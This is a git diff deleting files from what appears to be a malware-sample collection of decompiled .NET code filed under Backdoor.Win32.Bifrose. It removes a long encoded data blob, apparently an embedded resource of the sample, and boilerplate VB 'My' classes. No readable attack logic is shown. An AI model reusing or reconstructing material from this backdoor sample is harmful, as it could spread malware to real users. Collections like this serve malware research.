- 4X/wf/74s//rV/7f/8t/8pv+Xz9+/gf+W//l//0//4F7v/p3+b//6P/13/4T/+8/9R/8x/9DcrzIHP7n
- /+F//h/+X//17/+//Jn/9y/6A/+Zv/QP/OUk37/H3/x//Pe/9L/5Y2lB98t3/8ffSaHvP/Z//4o/9f/+
- H/5+ymj8H3/8H/gX/pu/7T/4P/+Nv6L6F//vP/Mv/N/+h//4L/y3/69f+w+kJNpvS97E//gr/8Ff/df+
- A7/iv/0Xfyn5VM3/9Qf/3//X3/j3/d+/6j8hC1H9L7/H//Wr/8H//vf/P//l3+OX//pH/9d/+Af+53/i
- X/j3/+D//F9/xe9CVuHen/kP/m//7O//v/2LhOz/+j/+n7/j/3VKy1O/4vD//A3/6b/xV/ynf+C/cPd/
- O/kDf9W/cfV//8o/8L+9+t9/+d/5qxZ/4F/661P6lLIK/1T1q/+ru7/6z/8HfvF/+Zv+6vv/wC/7z2ga
- fsP/+4+5+3//b5SMu0tq5V/+H3/mV/6D/+d/+3f8L7/Hf/fL/sP/9W/8v/L/+z/4Xf7PX/1//Jm/y/+5
- /qf/09////4LKXP4z/2BP/Pf/ut3/0Xirf+2+qWUZP4//+//7d/9PX7V7/+//fH/93/2XZKVX/E7/gf/
- 59Vf8Qf+s3/n//V//YO/6v/4A8nP+HMo3/2r/te7tCjzH5/SevpP/YP/4d/4f/77v8c/8Ks+/7//rv/w
- v/47/49f+X/9af/3r/7f/8Tf41f/g3/gf/eb/qp7/9ff/fv/t//Hg8/+91/9B/6T/+F/9Df+X7/lL/0/
- /sH/88/8D/+vf+X//p9+01/1xx9dk8Py9/4e//XV30fLwT929az6pb/sH/xl/+b//v3/+7/+v/+Xf/h/
- pOX3P+NX/Iov/8H/68Hv8X/9xv/3X/0ftr/yH/5jv0vLAf/rv/h//Kv/97/xr9/9P//X//F/+2P/73/p
- L/zr/sD6//z4d/k/in/y9/if/9zy/17/gf/SX/i//8t/6e//y/7lv/FX/bf/x73/+z/6Pf7Pq//rN/2/
- v0O+4l/9+/+3f+D/9Vf/jf/XX/R7/OcPjg5/1W/4f/9v/+H/8eX//v2/8g/8n//pv/H//gt/6X/7m/7f
- P/O/fkzxyb/wH1J2+Vf+3+TC/Orf7f/+T/7V//H/+ON/l//7b/9t/8D/7Pf45Yf/17/7i//JP/bL//tv
- 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
- /oV/4H9a/e9/4P/53X/wf/oL/8+//E/8v/+i3////D3+z//tr/zXf49f/n/+Hv/X70E24E/5B//j//g/
- +TtpoeIv/NV/4P/9B/6KP/D//PX+yf/7PyAX+W+kQf13//U/+L/+hf/H5R/4f/8ev/LPpKWz//vqD/zP
- K4oe/sJ/8H/8C/+nv/H/+mt/0//7b/rld/+39f/9l/2x//3/8m+TJvu/vvj1//vqf//F3/+/fuL//sfJ
- RP7ff/vvQsuU/+d3fwnN2+/3B/63v8v/8U/+35/8g//T/02LSn/W//2//IUP/+9/8//6a/5Iym78L+QF
- /t//6n/4f3zvH/y/fsVf+w/+D9X/9nv933/mf/k3/tK/89//B//HX/Z//19/4g/2/t3/8+//v/6E/zCj
- JZNfSatc/+O/9X9d/v7lZ7/q9B/857/8P/9O4pb/8I/7P/6+P/C/+g//91/8f/+b/+M/+Kv+9H/wH/0P
- /6fv/d+/7v9NC0p/5S/5b//FX7X9u/xf/+Gv/r9/1a/4XX7Vv//f/4f/5+//q3/lL/0v/sb/41f+gf/y
- f/jn/8K/8P84+v3/r3+D3Lg/kdymf/YP/BV/5P/5F/yBv/qf/Q/XF38l5aX/2f/7v/k9ftW9X/qf3P1V
- H//S//Z/peX9P/Av/T3K/+vv/J3/j9/rD/zPqv/7f/8LD/6v7f/gH/jf/tS7//ff8R/+6v/xn/u//ob/
- 8H/77v/xz0DVwB8lM/Xr/t//xD/4f7/9B3/Vf/p//8//4H/7m/49v/r3/7//01/xH/7Pd//4X/p3/t/k
- +/1L/+H3/+/f+fcgV/TP/R//zz/8H/zyf/3FZEN/wf/9H/6B/+Xv8iv+xs9+9VfkZPzTtG70f//Vv8ev
- +O//1f/7v/8D/7c/8f/+K3+fX1X9/v8HpeIq8vP+0f/7n/4Hf/Xf+X/8BX/g//Yv/h9/8uH//cv/w/X/
- 9cv/wV/1e5DA/F9/5//2S/7Af/L3+G9+1X979Qf+R//3//obkpP4f/2bf/cvw0rB//0r/8F/8X/8tymp
- T4uNv9f/9b/9gf/ZP/h//y7/Idn8f/7//t/+3P/u7//Bu//lr/2//87/8Ff9ptu/9L8nXv6//uz/8f/+
- 6+/+X//kP/i3/t3/2z/4D/7qf/P/+hv/wV/5F/7vvyGtavxntA779/6F//ef8gf+1//ir/4z/69/5/f4
- H3+X//0v/L//6//wP/6X/8df+qv+q3/3//7v/sNf8Xv833/mb/sP/qt/7e9BHv9/TWP/C//vP+cP/M/J
- L/8P/+7//Yu/8xmlt8jb+jv/wX/4L/zf/tp/8Gc+JSv1z3/37/0Hf+Xv8at/8f/1p/yN/9f/9uv//j/z
- f/+N/9s/+X/96X/gf/In/h///P/1R/yB/9ff+w/+j//j//4/3KWl2j+aPK+/739v/u9/5t/8d8mM/d9/
- 5l/5q//B/+Dq//q7vvy//vPf4//8v/+B/+sLWq//H//3P/F/+0v/7//yH/yfftP/7b/88v/+G/9IIsqj
- 6//pDyB18+9W/9ef+Xv8p7/y97impa9/9f/+5/7B/+uP/L9/mz/wX/0H/+c/9h/81f/d7/+//bn/97/z
- +//U/1X9gf/a//h/3fsH/4vqlx3+33/0v/tf/oP/+l/5B/6vf+D/+t/9yj/n//j7/8F/+Hf5FX/vd//A
- //GP/fL/+i//w//i3/w/XpNa/W3/j7M/8J/8C0nd/+f/ICVx/t7/43/9v//rv/D/+ld/2e//P333//on
- /u9/+g/8P37l//G//oH/1t//e/wPf+P/9f3/65/8D/+zu7/L//nb/N//3j/4y/7H53/D//2v/fUP/kFS
- Rv/h//2v0qrU//IX/l+/+K/9B//zP/P/+jt+23/w3/5d/rb/888ny/t//PoUWP3K/+rf/FV/JJnp/+Xf
- /YwWtP7+L/+vv/v3+GX/4y/+v/6zB//Xj/8D/+fv/3/9I//3f/EP/m//5l9AQf9/+Lf+sv/w//pNKMr6
- FX/s//V3/4WUePtz//3f47/9r//H/+2//L//kP/kL/y//8f/+9/4D/+z//H3+L/+0f+SskkUoVT//F9K
- KdW/6g/8v//v//2P/QP/++r3+L/u/t9/w//9H/8ef/ffStL/L/yJ/9cf9/v/yt/lV/+XlAHZ/9X/+j/4
- n/2mv93/+TvQiugv+x9/yf/4v/+P//ef+Xv86rf/wN//S/+Xj//v3/YX/6a0on3///6naN3ulx39qo+v
- aInsP/qPf4+/9f/8M//P3/X//t/v/qrD//ufpxVnIs1/Svmi//B7/8D//h/+X//T3/tf/x7/66/+P8//
- wH/iP/4Hf9XH/8d/8t/+h//Nr/xV//hf+3v8Zf/7P/yv/h7/+2/6f/6L//cf+nv8L7////Y7/wO/4uLx
- r/rvf+m/+w8W/+uv/D//o//7Z/6nf5CyL//1v/rb/oP/46/4v/+Xi//rl/+Hv+ru//XX/oHPf9mX/8D/
- 9m/+33/P70GT9R/9jf/z3/t//jO/B+Uh/pff9P88+gP/ld/tV/27f+H/ef///pf/1P/mN/2//tL/4f84
- /L//m//x//g7/+//8D/8PX71f/9//+V/4P9Wvbv+P/+bL//3f/0fbP7nv/O/+z93Kav+v/2Wf+B/+L/+
- Lv/bP/rl//13/P7/y59LM/nf/h7/+3/x+//vf+T/9UdX/+c/TUt8v/q//b//yT/wn/gPf+W//bv8it/y
- /57+qv+Q/Ky/8Vf+qf/mP/i/f+///scu/sH/8Pf/33/D//sv+Qf/83/7D/y7KMj8a/7H//M//k3JCP/Z
- 2//XP/T7/y//5Pf/zz/mj/0H/7N/8P/4h//H//N//D9+8z/wf/gD/6+/khbYfr+/7y/4P3//P/bBX/ur
- /sdfRWvW//e/+nv8r7////HVf/of/nf/4S/51X/h41/9n/2Fv+P/+Rv/3//R//grfvlf+Uv//T//9//f
- /14awi/78v/6Tar/+2/61//EX/K//E9/4C/+36r/42/8/f/Pn/oT/0AKZ/6tv/F//hP/j/+WvPhffk5J
- wv/+D/zlfyJlMsjL/u7//Qf/g//7b/q//dr/4eL//F/+w//i6v/8L/+vP+h//L/+hT/w9/5V/+Tv/g/+
- 2//G30ppt//jf/y//5Z/8P/8U3+P//y7/8Cv/mvH//e/8Qf+ygd/Ftm8f/f3+F//yP/z5A/8b/7d3+N/
- /viX/uO////0d/5fD2j1qvnf/8Df9/+gVaE/kBTFP/nb/oP/w//y4H/79Smo/K+q//3P/Gd//1/+p9Ii
- 5i/+L//T3/+X/6Jf/ff/Hv/b//Qrf+b/+E3/hf/rH/2n/8H/9bf9P/6a3+O//Tt/5n//b/+P7/+B//P/
- ePi//5b/LrmAv4oMx9/+3/yH/81v+n/TEsU/Xv0ff/7v/z/9i9Tjr/wD/6//6A8kx/0//y/+Tkq9/m3/
- 273/+7//B+e/+r/6Tf+vv/L//kt/j//s7/2//93f/3/5Hf+vf4eSxf/393/pv/gf/tf//F94+H/e/QP/
- Tlql+13+l3+Qsuv/a/V//oX/x6f/4H//f7/7Vf/+7/9//L3/5/J3+SX/9//4q//9X/o///v/4U//qj/2
- D/zX/8D/80/8v/6EP/C//G/+w//rk//hr/8HfuUf+X9fk8n7n+7+n78zsemv/vj/2P0Df/nvT8sG/9o/
- +H/ROtA/+K/+gf/zP/l//j3/93/6F/4fH/+f/+PVH/i3/t//82/7f7z4B/8bStbA3f4Hf9Vv+X//s5QL
- +wcpqv63yUls/8d/8f/8/D/4P/6a//v/+E3/93////7lfyjFCP/b7/x//W1/4H/9b/5f/+pf8H/8If/h
- f/yv/oe/+r//G2llc/dX/rV/5j/43/+D//P/cPF//TN/6h/4n/2L/+cf+3/TYtzv8n/SIidFp3/iL/0H
- /++f/j/+3f9x8X+f/oO/gizAL/gf/rpf+u/f/Wv/wf/sbyQm+Zv/wf/+X/zf/vR/8D/4C3/5x//np6Ry
- fuU//QfS2vA/8A+Sffgf/uF/95/8v//Xv/FXvv49fsV/+F9Wv8v/9ev+g//zv/7L7v5f/+nv/7//laRk
- /qn/8P/4b/+vf+Af/N+r/+2P/6X/9u/yv//i/+OniJL/16/8v37d//sf+vL//td/j91f/fkv/Xu//L/+
- yv/wv/yf/sT/+8//vyh78YvJNPzgf/vzyW34mV/x3/5fP/bX/o//1z/yb1f/08X/8V//gf/In/ln/t//
- 9N/4P3/5f/6T/+B/9rv86j/+H1j/z//2//jn/J+////9z/6D/1f12f/5h/6d/9cf/at+j//99/of/8H/
- q/mlf/0f+N/+nY8e/p+nf+A//B/+33/gX0cR4i++/0v+5wta4Pj3/0dKip78g5Ra+dV/xv/9P/zf/9Pv
- /9m/9b//t3/GP/jv/v7/wA/+tz/z//4n/u9f/W/8gf/Xb/t//Av/97/6y36P//YX//r/9//0e1CC6F/5
- +//B/+Ti//o7f4//6fAP/Ber//2v/D/+/kOauv/tT/y//sXf41f8k//Br/7s//qv/8Ef/Jd/4P/xS/7V
- P/CXf/l7/59/8//97/yqf/f//i++/D+++3/9w3/hr/pj/8t/kLjjr/wD//WKslsv/sb/67/5B/+Xf/P/
- /id/j19FtuNP+Q//9z/xz/u//rff5V//fSn6+D8+/wP/yH/wf6dlo//rf/zX/7O7v+T/+iP/A3Ky/vnf
- /3/7M8kT/Rf+R1riefZ//+e/y//0Z/4fv/0/+B/8gxS7/sv/6B/4X/+7X9JK0//9Z/5fv/gv/Q9/xZ/5
- f/7L//c/9Jv+X3/TP/if/IHXb/6E/+sv+f1/1f/wB/7v5OH++N9JGa3J//7f/l/V//0r/pu/83/74m/8
- A/+Pq//ztyV1cv4f/B//3D/9+/+fv+3P/I//7v/9X/+X//f/Xv3fv/gX/MyvevB//eH/9y//O//H/+uf
- /L//zz/3r/z1/8v/+x/6v/+Ww1/1u/zff8Iv/v1/6a/+v/+v//IP/K//Qgp5il/1d/6B/8l/8Hv8n3f/
- 7x/7v//hP5Oi0//7bxxTwvN/+Dv/z1/8f/2qP/B//o//7//98//zt/+/f8Xf+Ev+5v/9v/4H/5fqf7/4
- M/7KP/Af/vv/71/1m/5f3/0L/6+/p/oDfyWFUv/3Z3/gf/fl//4b/99/+3/4P9Aq7D/zf/9Hd//v//wP
- pNTGX/t/U674f//nv3vxB/5D//bv/z//Xn/iL/0bKY7+1X/qL/1T/06yqn////7VP/i/ffn3/Jn/53/7
- e/zP/+w/8H/+yv+TXK5/8Jf/Lv/38lf/3//q7/J//6aURPvXq0//+T/n//7frv53Cr//wF/5X/3T/+Ov
- /jP//v/t3/2//ndyLX/pL//F/9fFP/jf/v7/x5/57/2qX/bv/uL/+1f9Hv/Ar/gzP6PkwR/zD/6y6v/+
- 9/+vv+D3/z8++R/+z5/4B/9bUiB/6f/yi//A//B3+WVv/6//5hdTqv///uVv/09yPP+p3//NL/lvq//r
- 36h+xW9KKeV/5Pf4n//C/+vPobD5l1/8+f/3/f/7l/+n/+Ff9H/8kv/rj/0D/6Or/+03Jjt8+F/+gf8C
- 5S9plf9v+b//l3+aVo7/r1+Twsjf43/+p//CX/E3/p+/6HPiiV9MpuR/+zv/r7//H/wfv/t//l//4f/+
- n/3Lfz85KcWz//YP/N9++W/7f/w+/+H/2fzf/9Dv8Svu/oO/7A/8hd/9W3/Vf3OX4vW/7Pf43/63f5oW
- PP/AX/lv/l3/21/9B/7Xvyllqv/A/+A3/b/++H/wP/7uf0CxzP/0+f85/QPJRvz+/+c/+nv8B//Hn/gP
- /vP/4a98+3987w/8Z/7LP/CLv/X/+Pj/+qv+wP+Z4pH/61/6A/+nf/Pv/99/8S/4v/7b//uf+Qt/xb/4
- f/7T/+B/8D/+L//h//Un/LeUxz38P/7wf/H//uf+w19Oiwyf/9+/jFadf3/ySv7Lj4kd/uM/8P9+/X//
- l7/Hf/T7UwD6v/3T7f/xZ/7ffzwtBfySd7/yf/ll/+Gv/v3/r9/5D/yn/+9/4Ff8L//mH/ir//e/8f+k
- VdS/8Ff9lc/+wP/2f/sD/7n/64/5XX71n/9n/N//2Zf/1z/6+T/4+f/+N/yqL87/wF/1u/xP/9W/+Ks/
- /wP/i+r/mP4D//vf+n//IZSc+vP/7z/k7v/1H/1n3/3u1f/9z5BhJnX6n5FhJLfsz7z4D3/Vn/t//xl/
- 4C//H36XXzX9E//A/+Wf/w//pz/2l/6jlJH91f8dhcSUVS//16s////4Vf/3P/s3Nv/l7/J//ef/4ORX
- XFHS9z+i5MNv+3/+wv/7V/+DOxQl/SF/4P/1f1W/8t/8P/7t35YSbL/ir/w/X//f/0H1y/7+3/+X3f3f
- /0mKQX7V30je+3/wH/4nf+cP/tcv/88/+1dQFvc3pQwKOYX/LrHpX/Yf/hf/4v/5+/8X/+B/9C/+Of/H
- v/4H/nt/7T/5t/4e/9Ff+bv8X/f/we8Sd/xvv8cv+98fPPy//tYXJCf/2d9JM/DX/p//4P/+j/+H//vv
- 8X/9in+Qsr93abHuv/zld/+Pf/dv+KX/5n/4v/+Pv/rX/r//5X/wv/v9//c/9P/6R/7B//jq//h1/8Bn
- /+vrf/5v/N9+y3/h//pT/kqK+X71P/t//xn/4a/4j3+P//sf/7f/x//pz/y/f5NfScbiP/oDf1VNSxx/
- 8X/4g//9u//X7/or/sFf8R/+0v/jd/kz/+9/qvqVv9e/8D/+ef/3//wX/t//4e/xf/6JxH7/xD/4g1/+
- V1Ky5L/+FX/h//Xd/+tP/b//mX/x//j3f49f9H//jf/nb/lL//g/8H+/+/BX/an/17/xD/4ySuD/0n/2
- 9/+Vv+n//T/+gf9w9av+j9+WlC45tOQb0Vrs3/t//ev/4H93+H//l7////X3/x6f/b3/+3//N/6Pj//P
- f/7/+u/IaP6f9/9Acjb/8n/wv7/7f/6r//e/8vv/T7/p/31Bnt7v8av+zv/rT/2l/+nv/7988gf+mb/H
- f/0v/qq/9A/8P/7F/4u0w+/x0//l30trU//gf/oX/oq3//dv/x/+6q/+7/+SVv5+6S+jfNcf/n//W1f/
- 15/1B/6y6n/76/+vf+Z//D//e1pgJVr9H7/iD/yXf///9fcief1P/sZf9dv+E3f/7//jH/xfftv/+4/4
- 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
-
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/MyApplication.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/MyApplication.cs
deleted file mode 100644
index ed80111d..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/MyApplication.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: My.MyApplication
-// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe
-
-using Microsoft.VisualBasic.ApplicationServices;
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-
-namespace My
-{
- [EditorBrowsable(EditorBrowsableState.Never)]
- [GeneratedCode("MyTemplate", "8.0.0.0")]
- internal class MyApplication : ApplicationBase
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/MyComputer.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/MyComputer.cs
deleted file mode 100644
index 4349e5b0..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/MyComputer.cs
+++ /dev/null
@@ -1,24 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: My.MyComputer
-// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe
-
-using Microsoft.VisualBasic.Devices;
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-using System.Diagnostics;
-
-namespace My
-{
- [EditorBrowsable(EditorBrowsableState.Never)]
- [GeneratedCode("MyTemplate", "8.0.0.0")]
- internal class MyComputer : Computer
- {
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- public MyComputer()
- {
- }
- }
-}
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/MyProject.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/MyProject.cs
deleted file mode 100644
index 2c56937b..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/MyProject.cs
+++ /dev/null
